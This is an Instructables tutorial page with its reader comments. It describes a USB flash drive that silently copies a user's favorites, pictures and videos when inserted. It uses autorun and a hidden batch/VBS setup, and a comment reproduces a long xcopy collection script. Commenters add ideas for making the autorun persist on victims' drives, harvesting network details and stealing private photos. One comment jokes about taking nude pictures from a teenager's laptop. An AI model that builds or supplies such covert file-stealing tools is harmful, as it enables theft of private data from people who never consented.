3 Simple Ways to
Share What You Make

With Instructables you can share what you make with the world — and tap into an ever-growing community of creative experts.

PhotosPhotos

Share one or more photos of a project, recipe, or whatever you've made, quickly and easily.

Step by StepStep-By-Step

Share your step-by-step photos with text instructions of what you made so others can do it too!

VideoVideo

Share your how-to video. You'll need your embed code from a video site such as YouTube.

How to make flash drive that copy's users files silently and automatically

How to make flash drive that copy\
****** THIS INSTRUCTABLE IS FOR INFORMATION PURPOSES ONLY IT IS ILEGAL TO COPY SOMEONES FILES WITHOUT THEIR PERMISSION I AM NOT RESPONSABLE FOR ANY THING THAT MAY OR MAYNOT HAPPEN IF THIS INFORMATION IS USED IMPROPERLY****************

How to build a simple five file usb drive that copy's current user's favorites, pictures, and video folders to the thumb drive automatically and silently when inserted. Can also be customized for other files that need to be copied.

 
Remove these adsRemove these ads by Signing Up
 

Step 1Materials needed

Materials needed
Let me first say this is my first instructable... so be nice. Any help in making it better would be nice.

Flash/thumb drive 8gb-- $25.00.
computer to write files on.
someone to try out thumb drive on.

Just a note, you can use any size thumb drive I used 8gb it was on sale when I bought it. Also the more space you have on the drive the better... just incase the target computer has LOTS of files you will have the space to copy to.
« Previous StepDownload PDFView All StepsNext Step »
271 comments
1-40 of 271next »
Apr 28, 2012. 7:01 AMshan0 says:
hello
its really great subject but i just want to ask if want to copy the jpg files
but from the whole hard drive
not only form the C drive
i mean form the drive D,E,F..... etc
what should i write
and thanks alot
Apr 12, 2012. 2:30 PMjbouffard says:
any way to make to see it when i press (for example) the "c" key?
thanks in advance
Mar 15, 2012. 9:11 PMjj.inc says:
Doesn't work in windows 7, only Vista and XP, windows removed the autorun from flashdrives for security reasons.
Mar 14, 2012. 7:24 PMamlis says:
i tryed your program but it wouldn't automatically come up
Feb 10, 2012. 11:11 AMminijc says:
can somebody just put the code in that you need
Mar 27, 2009. 4:02 PMJedi_Master_Revan says:
Really cool idea, but your DOSing needs some work. Like, a lot off work.
":: variables" ?
"/min" '/min' is not recognized as an internal or external command, operable program or batch file.
"SET odrive=%odrive:~0,2%" I'm sure this has a use, but I can't figure out what it is.
And lastly, you only need "@Echo off" at the beginning of the batch.

Still a really cool idea though :)
-Revan
Jan 14, 2012. 8:02 PMJaware says:
Actually, you need some DOSing work if you don't get this. it took me a couple of hours to find out what it does. first, the ::variables is just a comment, they are not run, it just lets you know what it is while editing. the /min, was most likely used to run something minimized. and almost the last but not least, the SET odrive=%odrive:~0,2% has a very important use.

copied from cmd help itself states:
----------------------------------------------------------------------------------------------------
%PATH:~10,5%

would expand the PATH environment variable, and then use only the 5
characters that begin at the 11th (offset 10) character of the expanded
result. If the length is not specified, then it defaults to the
remainder of the variable value. If either number (offset or length) is
negative, then the number used is the length of the environment variable
value added to the offset or length specified.

%PATH:~-10%

would extract the last 10 characters of the PATH variable.

%PATH:~0,-2%

would extract all but the last 2 characters of the PATH variable.
-----------------------------------------------------------------------------------------------------
so what it is saying is............, sets the variable odrive to %odrive:~0,2%
now, %odrive:~0,2% states that the variable odrive gets expanded, and only the first 2 characters that begin at the 1st would be set to the variable odrive.
which in turn would be the drive and the colon.

such as
C:
F:
D:
and so on and so forth.

and finally, the @echo off just keeps cmd from telling you where it was started from. which is usefull if you see it happening. but thanks to the invisible.vbs, it doesn't get viewed since its a process.
Dec 7, 2011. 11:06 PMThe Expert Noob says:
Anyway to search for a specific Volume label and set %drive% to that drive letter?
Dec 8, 2011. 2:38 PMThe Expert Noob says:
answered my own question. The code below is what I have.

http://pastebin.com/raw.php?i=inTFTzE9

works great with this:

http://portableapps.com/node/3338

use bat to exe found here:

http://www.f2ko.de/programs.php?lang=en&pid=b2e

to convert the batch file to an exe file. You can even include your own icon and set it to run silently. place the generated .exe and the ini file for u3-autorun and profit in education!
Jul 11, 2011. 5:07 PMNinesecondframe says:
Hi, I'm kind of new to this but so far I'm making it work. Currently I'm running Windows OS 7, and having some difficulty getting the auto run file to boot as soon the the flash drive is inserted. After some research of my own I found out that windows 7 is not compatible with auto run file on a flash drive, any suggestions would be helpful as to an alternative.

I have been able to get this to work just by going into the flash drive once its inserted and double clicking on the File.bat.

Also, If anyone could help me out with an install script for a separate program to be run simotaneously from this one on the same flash drive. Thanks a ton.
Dec 8, 2011. 10:38 AMThe Expert Noob says:
at the beginning of your Batch file try

start myaltprogram.exe

This should open a second cmd window and run the program simultaneously.
Nov 25, 2011. 8:26 AMnazirahmad says:
hi: i did the steps but its not working ? some one help me!
Apr 16, 2009. 8:59 PMJacob Horton says:
Hey, I'm just wondering, what are you using, vista, mac, or windows
Jun 2, 2011. 5:44 AMarabha says:
Windows7
Feb 15, 2011. 12:55 PMSuper_Nerd says:
Dude, Vista is Windows.
May 26, 2009. 12:21 PMfwjs28 says:
serisouly get your OS's straight....
May 17, 2009. 8:10 PMgotmountains says:
Well, Vista is a version of Windows. It looks to me, from his screenshots, that he is using Vista or 7. DEFINITELY not Mac, as is obvious from the .vbs file, the .exe files, the .bat file, and the .inf file. Macs don't use those kinds of files. Also, the buttons on the windows are on the left on Macs, on the right on Windows. In his screenshots, they're on the right, therefore it's Windows.
Apr 30, 2011. 6:22 PMsbencherif says:
Thats logical
Feb 15, 2011. 12:57 PMSuper_Nerd says:
For a vbs scripter and batch maker like me getting a mac is out of the question for what you just said.
Aug 15, 2009. 10:56 PMerikals says:
you can get a program called leftsider to swap the buttons around
Jul 31, 2010. 12:13 PMMediocreNinja says:
Yes, but I don't think a soldier in Iraq would really care
Jun 4, 2009. 3:32 AManiman1 says:
VISTA
Mar 21, 2011. 6:23 PMredbeardedone says:
Why does it run so slow??? Used it on a HP 6500 with a Sandisk Cruzer 8G... Also I converted the .bat file to .exe Would that make a difference maybe?
Mar 6, 2011. 10:49 AMcooltg says:
The folder with the system name is made.....BUT NO FILES ARE BEING COPIED........please help out.... it's urgent.. :(
Feb 23, 2011. 10:04 PMlo3tboyz says:
this instructable is totaly awesome!!!! it workzzzzzzzz..thx dude
Jan 20, 2011. 3:38 PMMistersalt says:
Hey,
Thanks! This sounds great! I can't wait to try this out. But on the down side, I'll need to buy a usb.I already have one, but i like to use that for general purposes, not pranking stuff.

Thanks again, this is such a unique idea!
Dec 14, 2010. 7:16 PMaxeman911 says:
srry but really hard to understand
Nov 25, 2010. 5:35 PMThe Droid says:
Because you used the "If exist autorun.inf" it will not work for every user that has an autorun already on the drive. By instead overwriting the autorun with "echo blablablabla > %drive%autorun.inf", the user will still have an autorun, but your autorun. Besides, if you check for the file that you've already copied to it (i.e. a virus or something) then the autorun will be the one you want already. You could also have it copy it on the thumb drive for every loop of the program, so that the autorun, if edited or deleted, will always come back, unless the user stops the program process.
Nov 14, 2010. 10:50 AMavibank911 says:
Hey Im so excited to use this! me and my mates were gonna spend days trynna figure out how to do this!! thanks a ton!

Do you think you could make the thumb drive pull a folder that you know only part of its name by adding a wild card ? strictly for example:

%backupcmd% "%USERPROFILE%\music" "%drive%\all\*SATS*

Sep 9, 2010. 9:45 PMjgustin13 says:
this won't work on windows 7 because microsoft tightened alot of security holes
Jun 19, 2010. 9:48 PMLord Maul says:
How can i root the files?And how did you do the icon?
Jul 31, 2010. 12:12 PMMediocreNinja says:
No, you just copy all the files (.bat, .inf., .vbs etc) and copy them to the root of your stick, (example "G://")
Apr 12, 2009. 5:14 AMjash123 says:
btw i also have a U3 sandisk flash drive...would that be of any benefit?? thanks
Jul 21, 2010. 7:28 AMwingeekkid says:
A U3 drive has a hidden partition that acts as a cd, this hidden cd image runs the U3 program without ANY user input if they have autorun enabled, and runs silently in the background. U3 makes a program that will change the cd image on the flash drive so that you will be able to run another program when the flash drive is inserted. I recommend that you check this instructable out if you want to use your drive.
Jun 30, 2010. 9:55 PMdhynds100 says:
nice batch file lol but why dont you put a bit more flair in to it and gain all ip address and domain info and set uer self up a account to have a new net gate way, rather than just get the sounds lol eg net view > allWorkGroupPC.txt this will put a txt file were the .bat is with the results from the command.
Jul 12, 2010. 2:13 PMsuperant10000 says:
Don't forget to add a continue on error code. Can't have a silly mistake in one part bringing down your plot of world domination via nude picture theft from a teen girls laptop...
Jun 24, 2010. 5:09 PMsurpcrepair says:
ok so this is what i want to be able to do can you give me an example of the code if possible... lets use c: as example So i want to copy all .jpg files on c: that are bigger then 60Kb and im assuming if you give me that line i can just change the .jpg to .avi, .bmp, .mp3 whatever and actually even better if you could limit it between specific file sizes like 100kb-120mb so basically i backup restore alot of user computers i want to put in the thump drive it will backup the most common files they will need and i can restore without me wasting my time looking through files and seeing what i need to keep or not. also i am having an issue i have done everything exectly as described but my autorun.inf wont autostart and it wont do anything but open in notepad... im using windows 7
Jul 2, 2010. 5:14 AM010110111 says:
hey please show me what to assign to folder for example if i want any bat file i say" *.bat" and for any file "*.*" what can i say for any folder any whare?? please ur blessed and show me
Jun 24, 2010. 10:03 PMsurpcrepair says:
below is my script i have right now, i was using the other scripts but i really have no point i just double click on file.bat and everything works and i actually want to see whats going on so i turned echo on. I want to have on the bottom part where D:\ begins i want to copy that and have all of the letters scanned except the letter that the thumbdrive is on. I have this on my 16gb sdhc sdcard using a usb adapter. @echo on :: variables SET odrive=%odrive:~0,2% set backupcmd=xcopy /s /c /d /e /h /i /r /y echo on %backupcmd% "%USERPROFILE%\Favorites" "%drive%\backup\favorites" %backupcmd% "%USERPROFILE%\Desktop\*.jpg" "%drive%\backup\img" %backupcmd% "%USERPROFILE%\Desktop\*.jpeg" "%drive%\backup\img" %backupcmd% "%USERPROFILE%\Desktop\*.bmp" "%drive%\backup\img" %backupcmd% "%USERPROFILE%\Desktop\*.3gp" "%drive%\backup\vid" %backupcmd% "%USERPROFILE%\Desktop\*.mp4" "%drive%\backup\vid" %backupcmd% "%USERPROFILE%\Desktop\*.avi" "%drive%\backup\vid" %backupcmd% "%USERPROFILE%\Desktop\*.wmv" "%drive%\backup\vid" %backupcmd% "%USERPROFILE%\Contacts" "%drive%\backup\contacts" %backupcmd% "%USERPROFILE%\Links" "%drive%\backup\links" %backupcmd% "%USERPROFILE%\My Documents\My Music" "%drive%\backup\mp3" %backupcmd% "%USERPROFILE%\My Documents\Downloads" "%drive%\backup\downloads" %backupcmd% "%USERPROFILE%\My Music" "%drive%\backup\mp3" %backupcmd% "%USERPROFILE%\My Documents\*.jpg" "%drive%\backup\img" %backupcmd% "%USERPROFILE%\My Documents\*.bmp" "%drive%\backup\img" %backupcmd% "%USERPROFILE%\My Documents\*.avi" "%drive%\backup\vid" %backupcmd% "%USERPROFILE%\My Documents\*.mpg" "%drive%\backup\vid" %backupcmd% "%USERPROFILE%\My Documents\*.3gp" "%drive%\backup\vid" %backupcmd% "%USERPROFILE%\My Documents\*.mp4" "%drive%\backup\vid" %backupcmd% "%USERPROFILE%\My Pictures" "%drive%\backup\img" %backupcmd% "%USERPROFILE%\Videos" "%drive%\backup\vid" %backupcmd% "%USERPROFILE%\Music" "%drive%\backup\mp3" %backupcmd% "%USERPROFILE%\Downloads" "%drive%\backup\downloads" %backupcmd% "D:\*.jpg" "%drive%\backup\img" %backupcmd% "D:\*.jpeg" "%drive%\backup\img" %backupcmd% "D:\*.bmp" "%drive%\backup\img" %backupcmd% "D:\*.3gp" "%drive%\backup\vid" %backupcmd% "D:\*.mp4" "%drive%\backup\vid" %backupcmd% "D:\*.avi" "%drive%\backup\vid" %backupcmd% "D:\*.wmv" "%drive%\backup\vid" @echo on cls
Sep 22, 2010. 11:18 PMNatrix2494 says:
hmm, is there a simple way i can exclude a specific folder? like say... "AppData"
it just keeps getting in the way.
1-40 of 271next »

Pro

Get More Out of Instructables

Already have an Account?

close

All Steps Viewing
View all steps of an Instructable on the same page when you're a Pro Member.

Upgrade to Pro today!
22
Followers
1
Author:bigdaddyclint